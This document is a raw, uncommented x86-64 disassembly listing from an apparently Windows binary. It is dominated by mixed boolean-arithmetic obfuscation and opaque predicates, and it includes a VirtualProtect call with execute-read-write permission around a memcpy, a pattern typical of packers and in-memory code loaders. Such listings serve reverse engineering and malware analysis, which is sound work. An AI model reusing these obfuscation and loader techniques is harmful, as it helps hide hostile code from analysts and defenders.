mov ecx, ebx
xor ecx, 0xf4174010
mov edi, r15d
not edi
mov esi, edi
and esi, 0x3c02767
mov ebp, r15d
and ebp, 0xfc3fd898
or ebp, esi
xor ebx, 0x800744
and ebx, 0x3c02767
and ecx, 0xfc3fd898
or ecx, ebx
xor ecx, ebp
mov ebp, ecx
xor ebp, edi
and ebp, ecx
mov ecx, edi
and ecx, 0xd2958c73
and r15d, 0x2d6a738c
or r15d, ecx
xor r15d, 0xd2958c73
or r15d, eax
not r15d
and eax, 0x8098ef62
and edx, 0x7f67109d
or edx, eax
xor edx, 0x8098ef62
or edx, edi
not edx
mov eax, r15d
and eax, edx
xor edx, r15d
or edx, eax
mov eax, ebp
not eax
and eax, edx
not edx
mov ecx, ebp
xor ecx, edx
and ecx, ebp
and edx, ebp
or edx, eax
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xb5aca31e
or edx, eax
and eax, 0x4a535ce1
or eax, ecx
mov ecx, eax
xor ecx, 0xb0008206
xor eax, 0x42035881
and ecx, 0xb8508666
and eax, 0x47af7999
or eax, ecx
mov ebp, eax
xor ebp, 0x47af7999
xor eax, 0xb8508666
mov ecx, ebp
xor ecx, edx
and ecx, ebp
and ebp, edx
not edx
and edx, eax
or ebp, edx
mov eax, ecx
and eax, ebp
xor ebp, ecx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x3bec391e
and ebp, 0xc413c6e1
or ebp, eax
mov eax, ebp
not eax
and eax, 0x40b53890
and ebp, 0xbf4ac76f
or ebp, eax
mov eax, ebp
xor eax, 0x4064c60
mov ebx, ebp
xor ebx, 0x7b59018e
xor ebp, 0xa8bebd80
and ebp, ebx
and eax, 0x46574c6a
mov edx, ebx
and edx, 0xb9a8b395
or edx, eax
xor edx, 0xb9a8b395
or edx, ebx
or ebx, 0x2c1843f1
mov eax, ebx
not eax
mov ecx, ebp
not ecx
mov edi, ecx
and edi, 0xa372011
and ebp, 0xf5c8dfee
or ebp, edi
or ecx, ebx
and ebx, 0xa372011
and eax, 0xd1c09c0e
or eax, ebx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2c1843f1
and ecx, 0xd3e7bc0e
or ecx, eax
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xaa0c265
and edx, 0xf55f3d9a
or edx, eax
mov eax, edx
not eax
and eax, 0xf8f638fd
and edx, 0x709c702
or edx, eax
mov eax, edx
xor eax, 0x5290464
xor edx, 0x1002e098
and edx, 0x1882e19b
and eax, 0xe77d1e64
or eax, edx
xor eax, 0xe77d1e64
cmp eax, 0xffffffff
sete r11b
setne r10b
cmp r14d, 0xa
setl bpl
cmp r14d, 9
setg dil
mov eax, edi
xor al, bpl
and al, dil
mov ecx, eax
xor cl, 1
or al, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, r10b
mov edx, ebp
xor dl, r10b
and dl, bpl
mov eax, edi
xor al, r10b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r9d, eax
xor r9b, 1
mov ecx, eax
or cl, r9b
mov ebx, ecx
xor bl, 1
mov edx, eax
and dl, r9b
mov r14d, ecx
and r14b, bl
mov esi, eax
xor sil, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, sil
xor al, cl
xor cl, r14b
xor r14b, 1
or r14b, bl
xor r14b, 1
or r14b, cl
xor r14b, dl
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, r14b
xor r14b, 1
xor al, 1
or r14b, bl
xor r14b, 1
or r14b, al
mov r9d, r14d
xor r9b, 1
mov eax, ebp
and al, r11b
or r11b, dil
xor r11b, 1
and dil, r10b
or dil, al
mov eax, r11d
and al, dil
xor r11b, dil
or r11b, al
mov esi, r11d
xor sil, 1
or bpl, r10b
xor bpl, 1
mov eax, ebp
and al, dil
xor bpl, dil
or bpl, al
mov ecx, ebp
xor cl, 1
mov eax, ebp
or al, cl
mov edx, ecx
or dl, al
xor al, cl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, ecx
and bl, bpl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, sil
and sil, al
not al
and al, r11b
or al, sil
mov ecx, r11d
xor cl, bpl
or bpl, r11b
xor bpl, 1
or bpl, cl
mov ecx, ebp
xor cl, bl
xor bl, 1
xor cl, 1
or bl, bpl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov r10d, r9d
and r10b, r14b
xor r10b, 1
mov ecx, r14d
xor cl, r10b
or r10b, r14b
xor r10b, 1
or r10b, cl
mov edx, ebx
xor dl, 1
mov ecx, r10d
xor cl, 1
and cl, r10b
mov eax, ecx
and al, r10b
xor cl, r10b
or cl, al
xor cl, dl
mov eax, r10d
xor al, dl
or r10b, dl
xor r10b, 1
or r10b, al
xor r10b, 1
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov eax, r10d
xor al, 1
xor r14b, dl
or bl, r9b
xor bl, 1
or bl, r14b
xor dl, r9b
xor r9b, dl
and r9b, dl
mov r15d, r9d
and r9b, bl
xor bl, 1
xor r15b, 1
mov ecx, ebx
xor cl, r15b
and cl, bl
and r15b, bl
or r15b, r9b
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
mov r12d, r10d
and r12b, al
mov r9d, r12d
xor r9b, 1
mov ecx, r10d
xor cl, r12b
mov byte [rsp + 0x3c], cl
or r9b, al
xor r9b, 1
or r9b, cl
mov eax, r15d
xor al, 1
mov byte [rsp + 0x40], al
mov ebx, eax
and bl, r15b
mov ebp, eax
and bpl, bl
xor al, bl
mov byte [rsp + 0x38], al
or bpl, al
mov edx, ebp
xor dl, 1
mov edi, r9d
xor dil, 1
mov esi, r9d
and sil, dil
mov r13d, ebp
and r13b, dl
mov ecx, r13d
xor cl, 1
or cl, dl
mov r11d, edi
and r11b, dl
xor dil, dl
or dl, bpl
mov r14d, edx
xor r14b, 1
mov eax, edx
and al, r14b
mov r8d, edx
xor r8b, al
xor al, 1
or al, r14b
xor al, 1
or al, r8b
xor bl, 1
or bl, r15b
xor bl, 1
or bl, byte [rsp + 0x38]
mov r8d, eax
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, al
or bl, r8b
xor dl, byte [rsp + 0x40]
or r14b, r15b
xor r14b, 1
or r14b, dl
xor r14b, 1
mov eax, ebx
and al, r14b
xor r14b, bl
or r14b, al
and r12b, r10b
or r12b, byte [rsp + 0x3c]
mov eax, r12d
and r12b, r14b
xor r14b, 1
xor al, 1
and al, r14b
or r12b, al
mov eax, esi
and al, r9b
xor sil, r9b
or sil, al
xor r13b, bpl
xor cl, 1
or cl, r13b
mov eax, esi
xor al, 1
and al, cl
xor cl, 1
and cl, sil
or cl, al
or dil, r11b
xor cl, 1
mov eax, ecx
xor al, dil
or cl, dil
xor cl, 1
or cl, al
xor cl, r12b
and r12b, cl
mov eax, ecx
xor al, r12b
test al, 1
mov eax, 0x111cc673
mov edx, 0xb12f7c09
cmovne eax, edx
test cl, 1
mov ecx, 0x111cc673
cmovne ecx, eax
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x160], rdx
test r12b, 1
jmp 0x140022823
mov dword [rsp + 0xf4], 0
mov r15, qword [rsp + 0x178]
mov edx, dword [r15 + 8]
mov r12, qword [rsp + 0x178]
mov eax, dword [r12 + 0xc]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
movabs rsi, 0x9705beb990736b27
mov rcx, rsi
movabs rbp, 0xed87679d4182ccba
mov rbx, rbp
sub rcx, rbp
sub rcx, rsi
movabs rbp, 0x3b53c0ce0cb02e6b
mov rsi, rbp
add rcx, rbp
movabs rdi, 0xe392e8a47a8cb3ed
mov rbp, rdi
sub rbp, rcx
add rbp, rsi
sub rbp, rbx
add rbp, rax
movabs rax, 0x43401ac6398c101e
add rbp, rax
movabs rcx, 0xe306bbaa2aedb73e
add rbp, rcx
sub rax, rbp
add rax, rcx
movabs rbp, 0x58fd2b972ba43d97
mov rcx, rbp
sub rcx, rdi
sub rcx, rbp
movabs rbp, 0x8a20ef41ee4b81cc
add rax, rbp
sub rcx, rax
add rcx, rbp
movabs rbp, 0x6c559f893b23f5b2
mov rax, rbp
sub rax, rcx
sub rax, rbp
sub rax, qword [rsp + 0x90]
movabs rcx, 0x595eaefbacf09bce
mov rbp, rcx
sub rax, rcx
movabs rcx, 0x8779da1476c8a853
add rax, rcx
add rax, rbp
mov rcx, qword [rsp + 0x150]
movabs rbp, 0x3bca16d2224d75f0
add rcx, rbp
movabs rbx, 0x237fd278cb00c350
mov r8, rbx
sub rcx, rbx
movabs rdi, 0x6e62e9d1ff100cd2
sub rcx, rdi
sub rcx, rbp
add rcx, rdi
movabs rbp, 0xfa3f66c9319bb0f5
add rcx, rbp
movabs rdi, 0xc1b6aaa11174cd3e
add rcx, rdi
sub rbp, rcx
movabs rbx, 0x6122842a806f97df
mov rcx, rbx
sub rcx, rax
movabs rax, 0xbb051e8b8d493dff
mov rsi, rax
add rbp, rax
add rbp, rbx
movabs rax, 0xbadd30b618ebc682
add rcx, rax
add rcx, rsi
sub rbp, rcx
movabs rax, 0x70380b19a358ea3e
add rbp, rax
movabs rcx, 0xa59069ffc04797f5
add rbp, rcx
sub rax, rbp
movabs rbp, 0x76a8dce1f3a580c9
add rax, rbp
sub rax, rdi
sub rax, rbp
add rax, rcx
movabs rbp, 0x65637ec03020a2d4
add rax, rbp
movabs rcx, 0xca1ad5c3b20e574f
mov rdi, rcx
add rax, rcx
sub rbp, rax
movabs rcx, 0x440bd97e352b8f48
add rbp, rcx
sub rcx, rbp
movabs rax, 0x5c02ba8b123eda36
add rcx, rax
add rcx, r8
sub rcx, rax
movabs rax, 0x936d00967b5fa62d
add rcx, rax
sub rcx, rdi
sub rcx, rax
mov r8d, 0x40
lea r14, [rsp + 0xf4]
mov r9, r14
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r13, rbx
call rbx
mov eax, dword [r12 + 0xc]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
movabs rcx, 0xaead2471d816857a
mov rbp, rcx
movabs rcx, 0x9fbbcdf3ef3b0855
mov rdx, rcx
add rcx, rbp
movabs r8, 0xc9e479bf721de2a6
sub rcx, r8
sub rcx, rdx
movabs rdx, 0xc135a96a73750600
sub rcx, rdx
sub rcx, rbp
add rcx, rdx
movabs rdx, 0xf4fe7d399ab5ec8e
add rcx, rdx
movabs rbp, 0x67dec322f18e05ea
mov rbx, rbp
add rcx, rbp
sub rdx, rcx
movabs rcx, 0x2c1aa8bdca9f2fbb
mov rsi, rcx
sub rdx, rcx
movabs rcx, 0x741390ec7848e20f
sub rdx, rcx
movabs rbp, 0x15411050ce6440a9
mov rdi, rbp
sub rdx, rbp
add rdx, rbx
add rdx, rsi
movabs rbp, 0x43d970d01a28215d
add rdx, rbp
add rdx, rcx
sub rdx, rbp
movabs rcx, 0x630528487806b2b3
mov rbp, rcx
add rdx, rcx
movabs rcx, 0x47b5bcb1e976d33f
sub rdx, rcx
sub rdx, rbp
sub rdx, rax
add rdx, rcx
movabs rbp, 0xf7604857f0a6205f
mov rcx, rbp
sub rcx, rdx
movabs rdx, 0x265d5209345bbb3b
mov rbx, rdx
add rcx, rdx
mov rdx, rbp
sub rdx, rcx
movabs rcx, 0x686e87dba9f098fb
add rdx, rcx
add rdx, rdi
sub rdx, rcx
add rdx, rbx
movabs rcx, 0x7c12a93e860b8168
add rdx, rcx
movabs rbp, 0xb0b97dbfcd51be14
add rdx, rbp
movabs rbx, 0x205aa1d108e7cdfb
add rdx, rbx
sub rdx, rcx
movabs rcx, 0x36020eae6bd26718
add rdx, rcx
sub rdx, rbp
sub rdx, rcx
sub rdx, rbx
add rdx, qword [rsp + 0xc0]
movabs rbp, 0x3f6635aa1159bcf
add rdx, rbp
movabs rcx, 0x451cf3b7083b4fab
add rdx, rcx
mov rcx, rbp
sub rcx, rdx
movabs rdx, 0xa88af0920209f30a
sub rcx, rdx
movabs r11, 0x3280d20c0f6c8326
sub rcx, r11
add rcx, r8
add rcx, rdx
movabs rdx, 0x349fe07bd6ead862
add rcx, rdx
movabs rbp, 0x17e271ba93fd1527
sub rcx, rbp
sub rcx, rdx
movabs r10, 0x2e72cad1e24e741e
sub rcx, r10
mov rdx, qword [rsp + 0x150]
movabs rbp, 0x7f4b184edf8c235c
mov rdi, rbp
add rdx, rbp
movabs rbx, 0x86c09a502d9dde68
mov rbp, rbx
sub rbp, rdx
add rbp, rdi
movabs r8, 0x3bc11634c80ddd3f
sub rbp, r8
sub rbp, rbx
movabs r9, 0xc9592a9a5cb6960e
add rbp, r9
sub rcx, rbp
movabs rbp, 0xb11f76516ff308e1
mov rdx, rbp
sub rdx, qword [rsp + 0x148]
sub rdx, rbp
movabs rbp, 0x8e1e92d348c18641
add rdx, rbp
sub rbp, rdx
movabs rdx, 0x2666430ae553cdc4
mov rsi, rdx
sub rbp, rdx
sub rbp, qword [rsp + 0xb8]
movabs rdi, 0xd7cc2d913f9dc255
mov rdx, rdi
movabs rbx, 0x4b634b04aa2a03b
sub rdx, rbx
sub rdx, rdi
movabs rdi, 0x915b2b3ce6bb50fb
sub rdx, rdi
add rdx, rbp
add rdx, rsi
add rdx, rdi
movabs rbp, 0xb63dbfa6bd92037f
mov rsi, rbp
add rdx, rbp
add rdx, rbx
movabs rbp, 0x3d83e072f363591a
mov rbx, rbp
add rdx, rbp
movabs rbp, 0xc853bee1788c3837
mov rdi, rbp
add rbp, rsi
sub rdx, rbp
movabs rbp, 0xae587595084820e8
add rdx, rbp
add rdx, rdi
movabs rbp, 0x3697a5de5ceb77d0
add rdx, rbp
add rbp, rbx
sub rbp, rdx
movabs rdx, 0xcc92b1d5f6adde48
mov rbx, rdx
movabs rsi, 0x206feaacf54752c6
add rdx, rsi
movabs rdi, 0xf4f540f86402be5c
sub rbp, rdi
sub rbp, rdx
add rbp, rbx
add rbp, rdi
movabs rdx, 0x8475e8f0f8448130
add rbp, rdx
sub rdx, rbp
movabs rbp, 0x7159b0d95228e2d3
mov rbx, rbp
add rdx, rbp
movabs rbp, 0x70a9c52f783b646a
sub rdx, rbp
movabs rbp, 0xb4c2fc9a26b921bf
add rdx, rbp
sub rdx, rbx
sub rdx, rbp
movabs rbp, 0xc757f1c9d2b01912
sub rdx, rbp
movabs rbx, 0xd584ef0af0a4f60a
add rdx, rbx
add rdx, rbp
movabs rbp, 0x295ef3278f000427
sub rdx, rbp
sub rdx, rsi
sub rdx, rbx
add rdx, rbp
movabs rbp, 0x276aa4abeaa562fb
mov rbx, rbp
movabs rbp, 0x6c164ca84110bf33
mov rdi, rbp
add rbp, rbx
sub rbp, rdx
movabs rdx, 0xb696d30bed718c1d
add rbp, rdx
sub rbp, rbx
sub rbp, rdx
movabs rbx, 0x78b575de5b19e359
mov rdx, rbx
sub rdx, rdi
sub rdx, rbx
add rdx, rbp
movabs rbp, 0x8379ea0224fab6be
sub rbp, rax
add rcx, r11
add rcx, r10
movabs rax, 0x5cc06aa1d3de5d6
sub rcx, rax
add rcx, r9
add rcx, rax
movabs rax, 0xce6eea1fa2ed6f50
add rcx, rax
movabs rbx, 0xd6a7ee116544231b
add rcx, rbx
sub rcx, rax
movabs rax, 0x7f97fd890f486fe6
sub rcx, rax
sub rcx, r8
add rcx, rax
movabs rax, 0x6c4df5b6614c5cf
sub rcx, rax
sub rcx, rbx
add rcx, rax
sub rbp, qword [rsp + 0x88]
movabs rax, 0x744192d08cd4060a
add rbp, rax
movabs rax, 0x227249d4a6395e47
mov rdi, rax
add rbp, rax
movabs rax, 0x1d0abcdf81e226e4
add rbp, rax
movabs rax, 0x4ff36e4e004aa68f
sub rdx, rax
movabs rbx, 0x2e40235bf9080940
sub rdx, rbx
sub rbp, rdi
add rbp, rdx
add rbp, rax
movabs rax, 0xb17ff82f0ce76968
mov rdx, rax
add rbp, rax
movabs rax, 0x2fef70ae20d1ba53
sub rbp, rax
sub rbp, rdx
movabs rdx, 0x81ee32a4895966eb
sub rbp, rdx
add rbp, rbx
add rbp, rdx
movabs rdx, 0xda106178eccbffd5
sub rbp, rdx
add rbp, rax
add rbp, rdx
movabs rdx, 0x416e2fd507e3ad10
add rbp, rdx
sub rdx, rbp
movabs rax, 0x36e095ef0fd248ca
add rdx, rax
movabs rbp, 0xa2e93c4287b38156
add rdx, rbp
sub rdx, rax
sub rdx, rbp
movabs rax, 0x5fc68f92bde639ea
add rdx, rax
movabs rbp, 0xcc7bc9a596745ae9
add rdx, rbp
sub rdx, rax
sub rdx, rbp
add rdx, qword [rsp + 0xb0]
mov r8d, dword [r15 + 8]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0xf4]
mov edx, dword [r15 + 8]
mov r9d, dword [r12 + 0xc]
mov rcx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov rbp, qword [rsp + 0x150]
movabs rax, 0x6e4ca646c9925e97
mov rcx, rax
add rbp, rax
movabs rax, 0x9d9eacf1a26bd6ab
sub rbp, rax
movabs rbx, 0x4eb1d4b980c92a
mov rdi, rbx
add rbp, rbx
movabs rsi, 0x65c3206e56f363b4
add rbp, rsi
add rbp, rax
movabs rax, 0x33a46991f60bac3f
sub rbp, rax
sub rbp, rcx
movabs rbx, 0x7ef0cb15bb8df2fc
mov rcx, rbx
sub rcx, rdi
sub rcx, rbx
add rcx, rbp
add rcx, rax
movabs rax, 0x707054eeecd164c0
mov rbp, rax
add rcx, rax
movabs rax, 0xf5dc5acc68921b06
sub rcx, rax
movabs r10, 0xd9c2bc65465f424a
add rcx, r10
add rcx, rax
movabs rax, 0xfdc649675a90ccb1
sub rcx, rax
sub rcx, rbp
add rcx, rax
movabs rax, 0x98943c74e33b2aae
mov rbp, rax
movabs r11, 0xaa426bb2edf2fb98
sub rbp, r11
add rcx, rax
movabs rax, 0x3c06ce6c1cd1fe2a
add rbp, rax
sub rcx, rbp
add rcx, rax
movabs rax, 0xe3745b8ef4ed590b
mov rbp, rax
add rcx, rax
movabs rax, 0x5691795cc3c1dd2e
mov rbx, rax
add rcx, rax
movabs rax, 0xf073feb2da077dc6
sub rcx, rax
sub rcx, rbp
add rcx, rax
movabs rax, 0x47c50c520375ccf5
add rcx, rax
movabs rbp, 0x6b8abd402e79645b
sub rcx, rbp
sub rcx, rax
sub rcx, rsi
add rcx, rbp
movabs rax, 0x1f48aa2f00a14e6e
add rcx, rax
sub rcx, rbx
sub rcx, rax
movabs rax, 0x34c75d4efb241eff
add rcx, rax
movabs rbp, 0x1b3be2a716053f3d
sub rcx, rbp
sub rcx, rax
movabs rax, 0xe377b6e1640511cb
mov rdi, rax
add rcx, rax
add rcx, rbp
movabs rax, 0xbe33fd68cb0dcb49
mov rbp, rax
sub rcx, rax
movabs rbx, 0x781cd43f2a944440
mov r15, rbx
add rcx, rbx
movabs rax, 0x5fdbfe1317c18e1
add rcx, rax
add rcx, rbp
sub rcx, rax
movabs rax, 0x7205aa103d9dd28b
add rcx, rax
movabs rbp, 0x9640b5c494299e9c
mov rsi, rbp
sub rcx, rbp
sub rcx, rax
movabs rbp, 0xca7a6ad41a28ccaf
add rcx, rbp
sub rcx, rdi
sub rcx, rbp
movabs rax, 0x667d2f8312af2f93
add rcx, rax
add rcx, rsi
movabs rsi, 0xaf30f6f40024a2e3
mov rbp, rsi
sub rbp, r9
sub rbp, rsi
sub rax, rcx
movabs rcx, 0x523e8ee89345a9f9
sub rax, rcx
add rax, rbp
add rax, r10
add rax, rcx
movabs rdi, 0x4653a9f9920ae078
mov rcx, rdi
sub rcx, rax
movabs rbp, 0x4355d819291dfad3
mov rax, rbp
sub rax, r11
movabs rsi, 0xfc4c3de435bc54b5
sub rax, rsi
sub rax, rbp
add rax, rsi
movabs rbp, 0x3cb495c908dcd92f
add rax, rbp
movabs rsi, 0xfebc3597bb15bf8f
mov rbx, rsi
add rax, rsi
sub rbp, rax
movabs rax, 0x697eab44e8feb88f
sub rcx, rax
movabs rsi, 0x216615cb3db2af5a
add rcx, rsi
sub rcx, rdi
sub rcx, rsi
sub rcx, r15
movabs rdi, 0x823dd9d080713a87
add rcx, rdi
movabs rsi, 0x59aa46970c8cd59b
sub rcx, rsi
sub rcx, rdi
add rcx, rax
movabs rax, 0x35c74dcebf5bcec0
add rcx, rax
movabs rdi, 0x40e859368d977159
add rcx, rdi
sub rcx, rax
movabs rax, 0xacc655f12ff46218
add rcx, rax
add rcx, rsi
sub rcx, rax
add rbp, rbx
movabs rax, 0xf91b8ff015a43e2b
add rcx, rax
sub rcx, rbp
sub rcx, rax
movabs rax, 0x93b9c08170764d92
sub rcx, rax
sub rcx, rdi
movabs rbp, 0xab529dc63ee12e8
add rcx, rbp
add rcx, rax
sub rcx, rbp
mov r9, r14
call r13
mov ecx, 0x95409e26
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov eax, dword [0x1400c5670]
lea r14d, [rax - 1]
imul r14d, eax
mov r12d, r14d
not r12d
mov r15d, r14d
mov r8d, r14d
mov eax, r12d
and eax, 0x4e170b17
mov ecx, r14d
xor ecx, 0x4e170b17
and ecx, r14d
mov edi, eax
and edi, ecx
xor ecx, eax
or ecx, edi
mov eax, ecx
not eax
and eax, 0xb1e8f4e9
and ecx, 0x4e170b16
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6043676d
and ecx, 0x9fbc9892
or ecx, eax
mov r11d, ecx
xor ecx, 0x6043676d
mov r9d, ecx
mov r10d, r14d
or ecx, r14d
mov r13d, r12d
and r13d, r14d
mov esi, r14d
and esi, 0x9bc0271c
xor r15d, 0x9bc0271c
or r15d, esi
mov esi, r15d
not esi
and r8d, 0x8d8e93b2
mov edi, r12d
and edi, 0x72716c4d
or edi, r8d
xor edi, 0xe9b14b51
mov ebp, r12d
and ebp, 0x643fd8e3
or ebp, edi
mov edi, ebp
not edi
and edi, 0x2fd5fdb3
and ebp, 0xd02a024c
or ebp, edi
mov edi, ebp
xor edi, 0xd02a024c
xor ebp, 0x2fd5fdb3
and edi, r15d
or r15d, ebp
not r15d
and ebp, esi
or ebp, edi
mov ebx, r15d
and ebx, ebp
xor ebp, r15d
or ebp, ebx
mov ebx, ebp
not ebx
mov edi, ebx
and edi, 0xdda6aba1
and ebp, 0x2259545e
or ebp, edi
mov edi, ebp
xor edi, 0x2400010
xor ebp, 0x90000100
or ebx, 0x9bc0271c
mov esi, ebx
not esi
or ebp, 0x641b80c0
and ebp, 0xf41b85cc
and edi, 0xbc02210
or edi, ebp
and ebx, 0xf41b85cc
and esi, 0x245823
or esi, ebx
xor esi, edi
mov ebp, esi
not ebp
and esi, ebp
mov ebx, ebp
and ebx, esi
xor esi, ebp
or esi, ebx
mov ebp, esi
not ebp
mov ebx, esi
xor ebx, 0xc84f6d6f
and ebx, ebp
and esi, 0x37b09290
mov ebp, ebx
and ebp, esi
xor esi, ebx
or esi, ebp
mov ebp, esi
not ebp
and ebp, 0x49b20173
and esi, 0xb64dfe8c
or esi, ebp
mov edi, esi
xor edi, 0x7e0293e2
xor esi, 0x81fd6c1d
mov ebp, esi
and ebp, 1
and edi, 0xfffffffe
or edi, ebp
mov edx, r12d
mov r8d, r12d
or r12d, r14d
mov ebx, r14d
not edi
or edi, esi
xor r11d, 0x1a940000
and r9d, 0xe529ffbb
and r11d, 0x1ad60044
or r11d, r9d
and r10d, 0xe529ffbb
and edx, 0x1ad60044
or edx, r10d
xor edx, r11d
not ecx
or ecx, edx
mov eax, ecx
not eax
mov ebp, edi
or eax, edi
not edi
and ebp, 0xf20146e8
mov esi, edi
and esi, 0xdfeb917
or esi, ebp
xor esi, 0xdfeb917
mov ebp, esi
and ebp, ecx
xor esi, ecx
or esi, ebp
mov ebp, esi
not ebp
and ebp, 0xd1a61a9b
and esi, 0x2e59e564
or esi, ebp
mov r10d, esi
xor r10d, 0x2e59e564
mov r9d, esi
or ecx, edi
mov edi, ecx
not edi
mov ebp, ecx
and ebp, 0x263ec794
and edi, 0xd9c1386b
or edi, ebp
mov edx, eax
not edx
or ecx, eax
and eax, 0x263ec794
and edx, 0xd9c1386b
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov r11d, ecx
not r11d
mov edx, r11d
and edx, 0x3bfc30cc
and ecx, 0xc403cf33
or ecx, edx
xor esi, 0xcfafde00
and esi, r10d
mov edx, r10d
or edx, 0x1e09c49b
mov ebp, edx
not ebp
mov edi, edx
and edi, 0xacb02323
and ebp, 0x41461844
or ebp, edi
mov edi, esi
not edi
or edx, edi
and edi, 0xacb02323
and esi, 0x534fdcdc
or esi, edi
mov r10d, dword [0x1400c566c]
xor r9d, 0xd1a61a9b
xor esi, ebp
mov ebp, ecx
xor ebp, 0xc403cf33
xor ecx, 0x21f43044
or ecx, 0x1e09c49b
not edx
or edx, esi
mov edi, ecx
not edi
or r11d, 0xe1f63b64
and ecx, 0x99124193
and edi, 0x60e43a64
or edi, ecx
mov eax, r11d
not eax
and r11d, 0x99124193
and eax, 0x6098408
or eax, r11d
xor eax, edi
mov ecx, edx
not ecx
and ecx, 0xb9af1e7b
and edx, 0x4650e184
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0xb9af1e7b
and eax, 0x4650e184
or eax, ecx
xor eax, edx
mov ecx, r9d
and ecx, ebp
xor ebp, r9d
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xf780e6c7
and ebp, 0x87f1938
or ebp, ecx
mov edx, ebp
xor edx, 0x80800
xor ebp, 0xf780e6c7
mov r9d, eax
not r9d
mov ecx, r9d
and ecx, 0xddf7f1ff
and eax, 0x22080e00
or eax, ecx
or r9d, ebp
and ebp, 0xddf7f1ff
and edx, 0x22080e00
or edx, ebp
xor edx, eax
not r9d
or r9d, edx
and r8d, 0xf1662fb5
and ebx, 0xe99d04a
or ebx, r8d
mov eax, ebx
xor eax, 0x8919040
xor ebx, 0xf1662fb5
mov ecx, r13d
not ecx
mov edx, ebx
and edx, 0x672e6f8e
and eax, 0x98d19071
or eax, edx
or ebx, ecx
and ecx, 0x672e6f8e
and r13d, 0x98d19071
or r13d, ecx
xor r13d, eax
not ebx
or ebx, r13d
mov eax, ebx
not eax
and eax, 0x868aa040
and ebx, 0x79755fbf
or ebx, eax
mov ecx, ebx
xor ecx, 0x18254226
xor ebx, 0x84882000
and ebx, 0xe5d83d99
and ecx, 0x1a27c266
or ecx, ebx
mov edx, ecx
xor edx, 0x14242
mov eax, r12d
not eax
and eax, 0xf246b08a
and r12d, 0xdb94f75
or r12d, eax
mov eax, r12d
xor eax, 0x94640
xor r12d, 0xf246b08a
xor ecx, 0xe5d83d99
mov ebp, ecx
or ebp, r12d
not ebp
and ecx, 0xbff6a9bd
and edx, 0x40095642
or edx, ecx
and r12d, 0xbff6a9bd
and eax, 0x40095642
or eax, r12d
xor eax, edx
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, 0x8fc3971e
mov edx, r9d
and edx, 0x703c68e1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x703c68e1
and edx, 0x8fc3971e
or edx, ecx
mov ecx, edx
not ecx
mov edi, eax
not edi
mov ebp, edi
and ebp, 0x69baf387
mov esi, eax
and esi, 0x96450c78
or esi, ebp
and edx, 0x69baf387
and ecx, 0x96450c78
or ecx, edx
xor ecx, esi
not ecx
or ecx, edi
mov ebp, ecx
not ebp
and edi, 0x5dc674e3
and eax, 0xa2398b1c
or eax, edi
mov edx, eax
xor edx, 0x22218214
xor eax, 0xd046043
and eax, 0x8d1c694b
and edx, 0x72e396b4
or edx, eax
mov eax, edx
xor eax, 0xc042100
xor edx, 0x10430424
and edx, 0x915b4c6f
and eax, 0x6ea4b390
or eax, edx
mov edx, eax
xor edx, 0x6ea4b390
and edx, r8d
xor eax, 0x915b4c6f
and eax, r9d
or eax, edx
mov r15d, eax
xor r15d, r8d
and r15d, eax
mov r14d, r15d
not r14d
mov edx, ecx
xor edx, 0xd33432f9
mov esi, edx
and esi, ecx
and edx, ebp
mov eax, esi
not eax
mov r11d, eax
and r11d, 0x19a00c26
and esi, 0xe65ff3d9
or esi, r11d
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x19a00c26
and edx, 0xe65ff3d9
or edx, ebx
mov edi, r15d
xor edi, 0x2ccbcd06
and edi, r14d
xor edx, esi
mov esi, r15d
and esi, 0xd33432f9
not eax
or eax, edx
mov edx, edi
and edx, esi
xor esi, edi
or esi, edx
mov edx, eax
not edx
and edx, 0x9889f537
and eax, 0x67760ac8
or eax, edx
mov edx, esi
not edx
and edx, 0x9889f537
and esi, 0x67760ac8
or esi, edx
xor esi, eax
mov eax, ebp
and eax, 0x617fc39e
and ecx, 0x9e803c61
or ecx, eax
or ebp, r15d
and r15d, 0x617fc39e
and r14d, 0x9e803c61
or r14d, r15d
